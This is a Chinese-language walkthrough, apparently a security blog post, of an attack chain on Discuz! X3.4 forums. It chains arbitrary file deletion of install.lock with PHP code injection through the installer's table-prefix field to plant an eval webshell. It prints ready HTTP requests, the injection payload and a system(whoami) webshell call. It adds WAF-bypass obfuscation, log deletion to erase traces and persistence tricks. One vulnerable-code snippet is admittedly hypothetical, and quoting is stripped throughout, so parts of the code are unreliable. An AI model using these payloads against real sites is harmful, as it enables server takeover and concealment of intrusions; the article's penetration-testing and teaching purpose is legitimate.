Discuz! X3.4安全攻防:从任意文件删除到完整Getshell攻击链深度剖析 1. 项目概述从单一漏洞到完整攻击链的深度剖析在Discuz! X3.4的安全研究领域很多人的认知还停留在“发现一个文件删除漏洞然后删掉install.lock就能重装”的初级阶段。这种理解是片面的甚至可以说是危险的因为它忽略了漏洞利用的完整性和实战中的复杂性。今天我想从一个资深安全研究者的角度彻底拆解这个经典的“任意文件删除配合安装过程Getshell”攻击链。这不仅仅是一个漏洞的复现更是一次关于如何将多个看似独立的弱点串联成致命一击的战术推演。对于从事Web安全、渗透测试或红队评估的朋友来说理解这种组合拳的思维远比掌握单个漏洞的利用脚本更有价值。我们将从漏洞的独立分析开始逐步深入到它们如何环环相扣最终构建出一条从外部攻击到获取服务器权限的清晰路径。2. 漏洞组合拳的核心思路拆解2.1 为什么不能“只删install.lock”很多初入安全领域的朋友一看到“任意文件删除漏洞”第一反应就是去找install.lock文件。这个思路本身没错但它只看到了攻击链的最后一环而忽略了前置条件和环境限制。在Discuz! X3.4的默认安全机制下仅仅删除data/install.lock文件通常无法直接触发重装。系统在安装完成后会在/source/admincp/admincp_index.php的第14行左右执行一个关键检查if(file_exists(DISCUZ_ROOT../install/index.php) !DISCUZ_DEBUG) { unlink(DISCUZ_ROOT../install/index.php); if(file_exists(DISCUZ_ROOT../install/index.php)) { dexit(Please delete install/index.php via FTP!); } }这段代码意味着一旦管理员登录过后台系统会自动尝试删除install/index.php这个安装入口文件。如果删除失败例如文件权限问题则会直接提示“请通过FTP删除”从而彻底堵死通过Web界面重装的道路。因此一个能够稳定利用的攻击链必须考虑以下两种前置场景之一第一目标站点安装后管理员从未登录过后台install/index.php文件依然存在第二由于服务器配置或权限问题导致上述自动删除逻辑执行失败。在实际的渗透测试中我们不能寄希望于运气而需要主动创造条件或寻找其他入口点。2.2 攻击链的完整逻辑推演一个完整的、可靠的攻击链其逻辑应该是严谨且具有普适性的。针对Discuz! X3.4我们可以将攻击流程分解为以下几个核心阶段信息收集与入口定位首先需要确认目标Discuz!版本是否为X3.4并寻找可利用的入口点。最常见的入口是用户中心home.php的个人资料编辑功能这里往往存在文件上传或参数处理逻辑。触发任意文件删除漏洞利用找到的入口构造恶意请求实现删除data/install.lock文件的目的。这一步是打开重装大门的关键。验证安装环境可用性在删除锁文件后需要检查install/index.php是否可访问。如果不可访问则此攻击链在此中断需要寻找其他路径如利用备份文件、其他CMS组件漏洞等。利用安装过程写入Webshell在确认可以重装后在数据库配置步骤通过构造恶意的“表前缀”参数将一句话木马写入到config/config_ucenter.php配置文件中。连接Webshell与权限维持通过写入的Webshell连接工具获取服务器访问权限并根据目标环境进行进一步的权限提升或内网横向移动。这个链条中任意文件删除是发起攻击的扳机未删除的install目录是攻击得以继续的通道而安装程序对输入参数过滤不严则是最终获取Shell的致命一击。三者缺一不可共同构成了一个低权限用户到系统控制者的完整跃迁。2.3 工具选型与手动测试的权衡在复现此类漏洞时很多人倾向于直接使用网上公开的PoC概念验证脚本。公开的PoC脚本虽然便捷但在实战中往往面临诸多问题目标环境存在自定义修改、WAF拦截、参数名变化、会话Session和表单哈希formhash机制等。因此我强烈建议在理解原理的基础上以手动测试为主工具为辅。手动测试的优势可以清晰观察每一个请求和响应精准定位问题所在例如是表单哈希错误还是文件路径不对。这对于绕过简单的安全过滤、理解漏洞触发原理至关重要。自动化工具的作用在手动测试成功摸清所有参数和流程后可以编写或使用工具进行批量检测或利用提高效率。但工具的编写必须建立在对漏洞深刻理解的基础上。本次分析我们将侧重于手动测试的每一个步骤并解释其背后的原理让你不仅能“用”这个漏洞更能“懂”这个漏洞从而具备应对各种变种和防护措施的能力。3. 核心漏洞原理与利用点深度解析3.1 任意文件删除漏洞CVE-2018-14729原理回溯Discuz! X3.4的任意文件删除漏洞通常出现在用户中心home.php?modspacecp编辑个人资料的功能处。其核心问题在于对用户可控参数如birthprovince、birthdist等的处理不当导致了目录遍历Directory Traversal。以source/include/spacecp/spacecp_profile.php中的代码为例不同版本可能位置略有差异// 假设有一段处理头像上传或本地图片的逻辑 if($_G[group][allowsetattach]) { $upload new discuz_upload(); // ... 一些上传处理 if($upload-save()) { // 保存成功后可能会根据旧的头像路径删除旧文件 $old_avatar getuserprofile(field_name); // 从数据库读取用户之前设置的值 if($old_avatar file_exists($_G[setting][attachdir]../.$old_avatar)) { unlink($_G[setting][attachdir]../.$old_avatar); // 危险操作 } // 更新数据库将新的文件路径存入用户资料字段 updatetable(common_member_profile, array(field_name $new_avatar_path), array(uid $_G[uid])); } }漏洞成因 攻击者可以在编辑个人资料时通过修改表单中如birthprovince这样的字段将其值设置为一个包含目录遍历序列如../../../data/install.lock的字符串。当这个值被存入数据库后在后续的某个操作可能是再次更新头像、清理缓存等中程序会从数据库中读取这个值并直接传递给unlink()函数。由于路径中包含了../unlink()会向上回溯目录从而删除预期之外的文件。关键点这个漏洞的触发通常需要两个请求。第一个请求污染将恶意路径写入数据库第二个请求触发执行包含unlink()逻辑的操作从而删除目标文件。这增加了利用的隐蔽性。3.2 安装程序install/index.php的致命缺陷即使成功删除了install.lock并确认install/index.php存在攻击的成败还取决于安装程序本身的代码质量。在Discuz! X3.4的安装程序中存在一个关键的安全疏忽。在install/index.php的数据库配置处理阶段对应步骤step3程序会调用install_uc_server()函数来配置UCenterDiscuz!的用户中心。跟进这个函数在install/include/install_function.php中可以找到save_uc_config函数function save_uc_config($config, $file) { $success false; list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) $config; // ... 数据库连接测试等代码 ... $config EOT ?php define(UC_CONNECT, $uc_connnect); define(UC_DBHOST, $ucdbhost); define(UC_DBUSER, $ucdbuser); define(UC_DBPW, $ucdbpw); define(UC_DBNAME, $ucdbname); define(UC_DBCHARSET, $ucdbcharset); define(UC_DBTABLEPRE, $ucdbname.$uctablepre); define(UC_CHARSET, $uccharset); define(UC_KEY, $appauthkey); define(UC_API, $ucapi); define(UC_APPID, $appid); define(UC_IP, $ucip); define(UC_PPP, 20); ? EOT; if($fp fopen($file, w)) { fwrite($fp, $config); fclose($fp); $success true; } return $success; }漏洞成因 问题出在$uctablepre即表前缀这个变量上。在生成配置文件内容时程序直接使用了EOTHeredoc语法将变量嵌入到字符串中然后写入文件。$uctablepre来自用户在前端表单的输入在传入save_uc_config函数前没有经过任何有效的过滤或转义。因此如果我们在安装时将表前缀设置为x);eval($_POST[cmd]);(那么最终写入config/config_ucenter.php的配置行就会变成define(UC_DBTABLEPRE, discuz.x);eval($_POST[cmd]);();这行代码在PHP中是完全合法的。它首先定义了一个常量UC_DBTABLEPRE其值为字符串discuz.x然后紧接着是一个独立的PHP语句eval($_POST[cmd]);最后是一个空的字符串()。当该配置文件被其他程序include或require时其中的eval语句就会被执行从而形成一个Webshell。注意这里利用的是PHP代码注入而非SQL注入。因为写入的是.php配置文件它会被当作PHP代码执行。$uctablepre变量被直接拼接进了一个PHP代码字符串中。4. 手动实战复现一步步构建攻击链4.1 环境准备与信息收集搭建靶场在本地或测试机搭建一个全新的Discuz! X3.4环境。确保完成安装并以管理员身份登录一次后台触发系统删除install/index.php的机制。然后我们手动将install/index.php文件恢复以模拟“管理员未登录后台”或“删除失败”的场景。注册测试账号注册一个普通用户账号用于测试漏洞。记录下Cookie。定位编辑个人资料的接口通过浏览器开发者工具F12查看编辑个人资料如出生地时发送的请求。通常接口为home.php?modspacecpacprofileopbase使用POST方法提交。关键是要找到用于删除操作的参数名如birthprovince和当前请求所需的formhashDiscuz!的CSRF令牌。4.2 步骤一利用任意文件删除漏洞假设我们已通过分析确定birthprovince参数在后续的某个操作中会被用于unlink()。我们的目标是删除/data/install.lock。请求一污染数据向编辑资料接口发送一个POST请求将birthprovince的值设置为我们的恶意路径。POST /home.php?modspacecpacprofileopbase HTTP/1.1 Host: your-target.com Cookie: [你的登录Cookie] Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameformhash a1b2c3d4e5 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameprofilesubmit true ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namebirthprovince ../../../data/install.lock ------WebKitFormBoundaryABC123--这个请求会将路径../../../data/install.lock写入数据库该用户的birthprovince字段。请求二触发删除触发删除的逻辑可能隐藏在另一个功能中比如“更新头像”、“保存设置”等。需要仔细审计代码或进行黑盒测试。一个常见的方法是再次提交个人资料但这次附带一个文件上传如图片。程序在处理新文件时可能会先删除数据库中记录的旧文件即我们刚才写入的路径。POST /home.php?modspacecpacprofileopbase HTTP/1.1 Host: your-target.com Cookie: [你的登录Cookie] Content-Type: multipart/form-data; boundary----WebKitFormBoundaryXYZ789 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; nameformhash a1b2c3d4e5 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; nameprofilesubmit true ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; namebirthprovince ../../../data/install.lock ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; nameavatarfile; filenametest.png Content-Type: image/png [PNG文件二进制数据] ------WebKitFormBoundaryXYZ789--如果漏洞存在且被触发服务器上的/data/install.lock文件将被删除。你可以通过直接访问http://your-target.com/data/install.lock来验证是否返回404。4.3 步骤二触发重装并写入Webshell访问安装页面直接访问http://your-target.com/install/。如果install.lock已删除且index.php存在你应该能看到Discuz!的安装向导界面。跳过前期步骤按照向导同意协议检查环境直到进入“设置运行环境”步骤。在“是否安装UCenter Server”处选择“是”。关键配置在数据库信息填写页面重点在于“表前缀”这一项。数据库服务器、数据库名、用户名、密码填写目标站点的实际信息。如果你没有这些信息此攻击链将无法进行到这一步。在实际渗透中这可能通过其他信息泄露漏洞如配置文件备份、日志泄露获得。表前缀填入我们的恶意Payload。例如x);eval($_POST[lanvnal]);(lanvnal是我们连接Webshell时需要使用的POST参数名可以自定义。注意闭合前后的单引号和括号确保拼接后的PHP语法正确。完成安装填写其他必要信息管理员账号、邮箱等点击提交。如果一切顺利安装程序会开始创建表并在最后生成配置文件。我们的Webshell就被写入到了config/config_ucenter.php中。4.4 步骤三验证与连接Webshell验证文件写入直接访问http://your-target.com/config/config_ucenter.php。正常情况下这个文件会返回空白页因为定义了常量。但如果我们的Payload被执行页面可能会有异常输出或报错。更稳妥的方式是查看页面源代码或者用工具尝试连接。连接Webshell使用中国菜刀、蚁剑、冰蝎等Webshell管理工具或者直接用curl命令进行测试。POST /config/config_ucenter.php HTTP/1.1 Host: your-target.com Content-Type: application/x-www-form-urlencoded lanvnalsystem(whoami);如果返回了服务器当前进程的用户名如www-data、apache、nobody则证明Webshell写入并执行成功。5. 实战中的疑难杂症与高级技巧5.1 常见问题排查表问题现象可能原因排查与解决方案删除install.lock后访问/install/仍提示已安装。1.install.lock路径不对。2. 程序通过其他方式判断是否安装如数据库标志。3. 存在缓存或.htaccess限制。1. 确认Discuz!根目录使用绝对路径尝试如/var/www/html/data/install.lock。2. 检查数据库中common_setting表里是否有安装标志。3. 清除浏览器缓存检查install目录下是否有.htaccess或index.html等禁止访问的文件。安装过程中在数据库配置步骤提交后报错如“无法连接数据库”。1. 数据库信息填写错误。2. 数据库用户权限不足如无CREATE权限。3. 表前缀包含非法字符导致SQL语句错误。1. 仔细核对数据库主机、用户名、密码。2. 尝试使用更高权限的数据库账号。3. 我们的Payload会导致SQL错误但目的是写入文件可以忽略部分SQL错误只要最终配置文件能生成即可。关注页面是否显示“建立数据表”等成功信息。config_ucenter.php文件已生成但Webshell无法执行。1. Web服务器如Nginx未正确配置PHP解析。2. 文件权限问题不可读。3.open_basedir或disable_functions等PHP安全配置限制了eval。1. 检查该文件是否被当作PHP解析。可以访问http://target.com/config/config_ucenter.php?lanvnalphpinfo();看是否输出phpinfo信息。2. 检查文件权限是否为644或更宽松。3. 尝试使用其他PHP函数作为Payload测试如echo ‘test’;。如果被禁用需寻找其他绕过方式。表单提交时需要formhash但不知道如何获取。formhash是Discuz!的CSRF令牌每次页面刷新都会变化。1. 在浏览器中登录测试账号打开编辑资料页面查看页面源代码搜索formhash其值通常在input标签或JavaScript变量中。2. 通过正则表达式从页面HTML中提取/nameformhash value([^])/。目标站点可能使用了CDN或WAF拦截了恶意请求。WAF规则检测到了路径遍历../或PHP代码特征eval、$_POST。1.路径遍历绕过尝试使用双重编码..%252f..%252f、UTF-8编码、绝对路径等。2.代码混淆对Webshell的Payload进行Base64编码、字符串拼接、异或运算等混淆并在eval中解码执行。例如表前缀可设置为x);eval(base64_decode($_POST[z]));(然后POST传递zc3lzdGVtKCd3aG9hbWknKTssystem(‘whoami’);的base64。5.2 高级利用与权限维持思路无数据库信息的利用如果我们无法获得目标的数据库账号密码上述攻击链在最后一步会卡住。此时可以退而求其次利用文件删除漏洞做其他事情删除.htaccess或web.config如果存在删除这些文件可能暴露目录列表或降低安全等级。删除验证码文件为暴力破解创造条件。删除其他关键配置文件导致站点功能异常结合社会工程学进行下一步攻击。删除日志文件抹除攻击痕迹需注意时间差和权限。Webshell的隐蔽与持久化写入非Web目录尝试将Webshell写入到data/目录下的某个.php文件中该目录通常有写入权限且可执行PHP。利用合法文件包含如果存在本地文件包含LFI漏洞可以不直接写入Webshell而是将恶意代码写入到data/install.lock或data/cache等可写文件中然后通过LFI去包含执行。内存Webshell在获取一个阶段的Webshell后可以尝试向PHP-FPM、Redis、Memcached等内存服务中注入恶意代码实现无文件驻留对抗常规的文件查杀。组合其他Discuz!漏洞Discuz! X3.4历史上存在多个漏洞可以组合使用。SSRF漏洞如果同时存在SSRF漏洞可以将其与文件删除结合利用file://协议删除本地文件或探测内网。前台SQL注入获取数据库信息为安装步骤的数据库连接提供凭据。后台漏洞如果通过其他方式进入了后台则可以直接利用后台的数据库备份、模板编辑等功能getshell无需走复杂的安装流程。这个从任意文件删除到Getshell的链条清晰地展示了一个道理在安全防御中短板效应极其明显。开发者可能认为“安装目录没删”不是大问题“文件删除漏洞需要先污染再触发”很鸡肋“表前缀过滤不严”影响不大。但攻击者正是通过精心策划将这些“小问题”串联起来形成了一条畅通无阻的攻击路径。对于防御方而言修补每一个细微的漏洞、遵循最小权限原则、对用户输入进行严格过滤和校验是构建安全体系的基石。而对于安全研究者锻炼这种将多个低危漏洞组合成高危利用链的思维是提升实战能力的关键。